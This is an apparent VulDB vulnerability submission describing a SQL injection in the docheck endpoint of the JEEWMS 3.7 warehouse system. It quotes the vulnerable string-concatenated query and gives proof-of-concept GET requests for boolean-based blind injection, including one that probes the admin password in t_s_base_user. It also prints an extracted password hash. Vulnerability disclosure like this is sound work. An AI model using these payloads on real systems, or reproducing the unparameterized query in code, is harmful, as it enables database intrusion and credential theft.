| Título | erzhongxmu JEEWMS 3.7 SQL Injection |
|---|
| Descripción | JEEWMS v3.7 contains a SQL injection vulnerability in the docheck method of WmOmNoticeHController.java (lines 827-829). The goodscode request parameter is concatenated directly into a native SQL statement without parameterization:
String sql = "select sum(base_goodscount) as qua from wv_stock t where t.goods_id LIKE '%" + goods + "%'";
Map<String, Object> binMap = systemService.findOneForJdbc(sql);
An authenticated attacker can inject arbitrary SQL via the goodscode parameter. Boolean-based blind injection was verified end to end: the admin password hash (33beb63a7f11dbd2) in t_s_base_user was fully extracted character by character and matches the real database value. TRUE conditions return "库存为600" in the JSON response, FALSE returns "库存为0".
PoC:
GET /wmOmNoticeHController.do?docheck&goodscode=' and 1=1 -- &goodsqua=1000 -> returns 库存为600
GET /wmOmNoticeHController.do?docheck&goodscode=' and 1=2 -- &goodsqua=1000 -> returns 库存为0
GET /wmOmNoticeHController.do?docheck&goodscode=' and (select length(database()))=3 -- &goodsqua=1000 -> returns 库存为600 (database wms has 3 chars)
GET /wmOmNoticeHController.do?docheck&goodscode=' and length((select password from t_s_base_user where username='admin'))=16 -- &goodsqua=1000 -> returns 库存为600
Vulnerable code file: src/main/java/com/zzjee/wm/controller/WmOmNoticeHController.java:827 |
|---|
| Fuente | ⚠️ https://github.com/erzhongxmu/JEEWMS |
|---|
| Usuario | Lib0gus (UID 101005) |
|---|
| Sumisión | 2026-09-04 11:08 (hace 2 meses) |
|---|
| Moderación | 2026-10-11 09:49 (1 month later) |
|---|
| Estado | Aceptado |
|---|
| Entrada de VulDB | 416554 [erzhongxmu JEEWMS hasta 2026.09.27-W39 WmOmNoticeHController.java docheck goodscode inyección SQL] |
|---|
| Puntos | 20 |
|---|